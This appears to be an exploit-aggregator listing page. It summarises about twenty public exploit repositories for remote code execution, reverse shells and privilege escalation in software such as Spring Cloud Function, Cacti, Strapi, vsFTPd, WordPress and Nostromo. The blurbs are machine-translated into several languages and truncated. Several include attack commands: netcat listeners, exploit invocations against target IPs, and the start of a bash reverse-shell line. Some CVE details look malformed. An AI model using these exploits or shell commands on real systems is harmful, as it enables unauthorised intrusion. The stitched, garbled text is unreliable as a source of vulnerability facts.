kuang_grade_mk11

kuanggrademk11 Псевдо-оболочка для CVE-2013-0156...

CVE-2026-31431

CVE-2026-31431 — AFALG를 통한 로컬 권한 상승 2026-04-29 — 저는 이 익스플로잇을MyDigitalLife 포럼에 공유한 지 하루 만에 공개합니다. Python이 필요하지 않으며, C로 작성되었고 다음 명령을 사용하여 가능한 가장 작은 크기로 컴파일되었습니다: root@kitploit: musl-gcc -static -Os -o exploit exploit.c -s 심각한 위협입니다. 익스플로잇 바이너리는 의존성 없이 컴파일되었으며 모든 Linux 시스템에서 취약점 테스트에 사용할 수 있습니다...

CVE-2022-22963_Reverse-Shell-Exploit

Эксплойт обратной оболочки CVE-2022-22963 Это Python-скрипт, который эксплуатирует CVE-2022-22963, уязвимость удаленного выполнения кода в Spring Cloud Function, позволяющую злоумышленникам выполнять произвольный код на уязвимом сервере. Эксплойт использует уязвимую конечную точку /functionRouter...

CVE-2014-6271

CVE-2014-6271 Shellshock Python-эксплойт Чистая, эффективная и интерактивная реализация на Python, предназначенная для проверки уязвимости Shellshock CVE-2014-6271 через внедрение переменных окружения HTTP. 📝 Описание Shellshock CVE-2014-6271 — это критическая уязвимость безопасности в оболочке...

CVE-2021-41773-Playground

CVE-2021-41773-Playground CVE-2021-41773 と CVE-2021-42013 で遊ぶための Docker イメージ集です。 docker compose up -d を実行すると、すべてのコンテナを起動できます。 サーバーはポート 8080、8081、8082、8083 で動作します。 8080 は CGI が無効の Apache 2.4.49 です。 8081 は CGI が有効の Apache 2.4.49 です。 8082 は CGI が無効の Apache 2.4.50 です。 8083 は CGI が有効の Apache 2.4.50 です...

CVE-2023-422-Chamilo-LMS-RCE

사전 요구 사항 root@kitploit: pip install requests 정보 이 Python 스크립트는 취약점 CVE-2023-422을 이용하여 서버에 파일을 업로드하고, 그 파일을 사용하여 netcat 리스너로 리버스 셸을 보냅니다. 이 모든 과정은 인증 없이 수행할 수 있습니다. 그러나 Python 스크립트를 성공적으로 사용하려면 다음 단계를 따라야 합니다. netcat 리스너 시작: root@kitploit: nc -lnvp 4444 Python 스크립트 실행 예시: root@kitploit: python3...

CVE-2023-27163-AND-Mailtrail-v0.53

자동 익스플로잇 요약 다음 익스플로잇은 Requests Baskets v1.2.1 SSRF 취약점을 악용하여 127.0.0.1:80에서 실행 중인 내부 애플리케이션을 /pwned의 외부 애플리케이션으로 전달합니다. Mailtrail v0.53 애플리케이션이 전달되면, 이에 대해 리버스 셸 명령을 실행하며 몇 초 내에 사용자는 머신에 대한 리버스 셸을 획득해야 합니다. 명령어 root@kitploit: python3 ./exploit http://10.10.10.10:55555 LISTENER-IP LISTENER-PORT...

fusionpbx_rce_vulnerability

서문 이 간단한 코드는 Dustin Cobb가 Caller ID를 사용한 RCE – FusionPBX의 다중 취약점에서 소개한 연쇄 취약점의 구현을 완성하려고 시도합니다. RCE 재현 단계 1. 웹 브라우저에서 취약한 운영자 화면을 봅니다. 이 예제에서는 https://fusionpbxaddress/app/operatorpanel/index.php에 있습니다. 2. 원격 시스템rcelisteneraddress에서 netcat 리스너를 시작합니다.x 3. 원격 시스템의 다른 터미널 창에서 아래의 익스플로잇 코드를 실행합니다:...

CVE-2016-3714

CVE-2016-3714 ImageMagick 코드 실행 CVE-2016-3714 imagickbuilder.py = CVE-2016-3714를 악용하기 위한 간단한 페이로드 빌더 imagickbypassshell.php = PHP imagick 확장 래퍼를 사용하여 비활성화된 함수를 우회하는 PHP 기반 웹 셸 작동하는 몇 가지 이미지: 페이로드 빌더: ImageMagick이 활성화된 vBulletin 4.x에 대한 imagick 페이로드: 페이로드 트리거 후 서버 측: 웹 셸: 명령 실행: 파일 읽기:...

MySQL-Fu.rb

MySQL-Fu.rb MySQL-Fu는 제가 작성한 Ruby 기반 MySQL 클라이언트 스크립트입니다. 일반 MySQL 클라이언트가 수행하는 대부분의 작업을 수행합니다: SQL 셸, 데이터베이스/테이블 업데이트/삭제/드롭, 사용자 추가/삭제, gzip 옵션을 포함한 데이터베이스/테이블 덤프...... 또한 침투 테스트를 조금 더 쉽게 해주는 몇 가지 추가 옵션이 있습니다. 여러 내장 PHP 명령 셸 옵션과 Pentestmonkey의 PHP 리버스 셸, 파일 쓰기 및 읽기를 위한 여러 옵션읽은 모든 파일은 나중에 오프라인 분석을...

ms09-050-CVE-2009-3103-exploit

MS09-050 SMBv2 익스플로잇 래퍼 MS09-050 CVE-2009-3103 익스플로잇을 위한 한 줄 설정. 번거로움 없이, 디버깅 없이, 그냥 작동합니다. 왜? 돌아다니는 대부분의 MS09-050 스크립트는 수동 셸코드 주입이 필요하고, 핸들러와 타이밍 문제가 있거나, 그냥 작동하지 않습니다. 이 래퍼는: 올바른 매개변수로 셸코드 생성 익스플로잇 자동 빌드 바로 사용 가능한 Metasploit 핸들러 생성 정확히 무엇을 실행해야 하는지 안내 시간이 중요한 OSCP 준비를 위해 제작되었습니다. 대상 취약점 :...

CVE-2023-40294-and-CVE-2023-40295

Пока я запускал boron в своей среде, я случайно обнаружил 2 переполнения буфера в куче в libboron libboron.so.2 версия 2.0.8 при обработке слегка некорректного ввода. Это было официально протестировано как на Mac x8664, так и на Linux x8664: Файлы для воспроизведения reproduction.zip Компиляция g...

Strapi-RCE

Strapi-RCE Strapi CMS에서 인증되지 않은 원격 코드 실행을 위해 CVE-2019-18818과 CVE-2019-19609를 결합한 익스플로잇 스크립트입니다. 익스플로잇 이 스크립트는 Strapi CMS 버전 3.0.0-beta.17.4 이하에서 발견된 취약점을 악용하여 인증되지 않은 원격 코드 실행을 가능하게 합니다. 설명 익스플로잇은 먼저 비밀번호 재설정 취약점을 이용해 관리 사용자의 JSON 웹 토큰JWT을 획득합니다. 그런 다음 이 토큰을 사용하여 악성 페이로드를 Strapi CMS에 전송하고, 공격자 머신...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

Mitigation-Apache-CVE-2021-41773-

완화-CVE-2021-41773- Apache의 경로 탐색 및 파일 노출 취약점인 CVE-2021-41773을 완화하는 셸 스크립트 설치 root@kitploit: wget https://github.com/EkamSinghWalia/Mitigation-CVE-2021-41773-.git 사용법 취약점을 완화하기 위한 완전한 수정 및 권장 방법 이 스크립트는 시스템 리포지토리와 Apache를 업그레이드 및 업데이트합니다. root@kitploit: bash apachefix.sh 참고 - 스크립트 실행 중 팝업이 두 번 나오면...

vsFTP-2.3.4-Remote-Root-Shell-Exploit

vsFTP 2.3.4 원격 루트 셸 익스플로잇 간단한 Python 프로그램으로, vsFTP 2.3.4에 존재하는 취약점 CVE-2011-2523을 이용하여 대상 장치에서 원격 루트 셸을 획득합니다. 요구 사항 사용된 언어 = Python3 사용된 모듈/패키지: socket os pexpect paramiko getpass datetime optparse colorama multiprocessing time 의존성 설치: root@kitploit: pip install -r requirements.txt 결과 성공적으로 익스플로...

CVE-2020-24186

CVE-2020-24186 이 스크립트는 WordPress의 CVE-2020-24186 취약점을 악용하여 위장된 PHP 페이로드를 업로드하고 대상 시스템에서 셸을 획득합니다. 작동 모드는 세 가지입니다: 1. 인터랙티브 셸: 기본 웹셸을 업로드하고 인터랙티브 모드로 진입하여 cmd 매개변수를 통해 명령을 보낼 수 있습니다. 2. 수동 리버스 셸: 웹셸을 업로드하고 리버스 셸 페이로드를 전송하지만, 리스너를 자동으로 실행하지 않습니다. 지정된 IP와 포트에서 직접 리스너를 수동으로 시작해야 합니다. 3. pwntools를 이용한...

CVE-2020-11108-PoC

CVE-2020-11108-PoC 이 저장소에는 두 개의 PoC가 있습니다. cve-2020-11108-rce.py는 www-data 사용자 권한의 셸을 제공합니다. root-cve-2020-11108-rce.py는 셸을 제공하고 권한을 root로 상승시킵니다. 참고: teleporter.php를 덮어써야 하므로 파괴적입니다. 전체 설명/분석은 이 블로그 게시물을 참조하세요...

CVE-2022-46169-CACTI-1.2.22

CVE-2022-46169-CACTI-1.2.22 Это эксплойт для CVE-2022-46169, нацеленный на cacti 1.2.22. Эксплойт позволяет через RCE получить обратную оболочку на вашем компьютере. Требования optparse requests Использование Прослушивайте порт на вашей машине, затем запустите эксплойт следующим образом...

CVE-2019-16278-Nostromo-1.9.6-RCE

CVE-2019-16278-Nostromo-1.9.6-RCE 이것은 Nostromo 1.9.6 RCE에 대한 CVE-2019-16278의 익스플로잇입니다. 이 익스플로잇은 피해자 머신에서 RCE를 가능하게 합니다. 요구 사항 optparse socat sys 사용법 다음과 같이 익스플로잇을 사용할 수 있습니다: root@kitploit: python3 CVE-2019-16278.py --ip=10.129.192.225 --port=80 --command="bash -c 'bash -i &...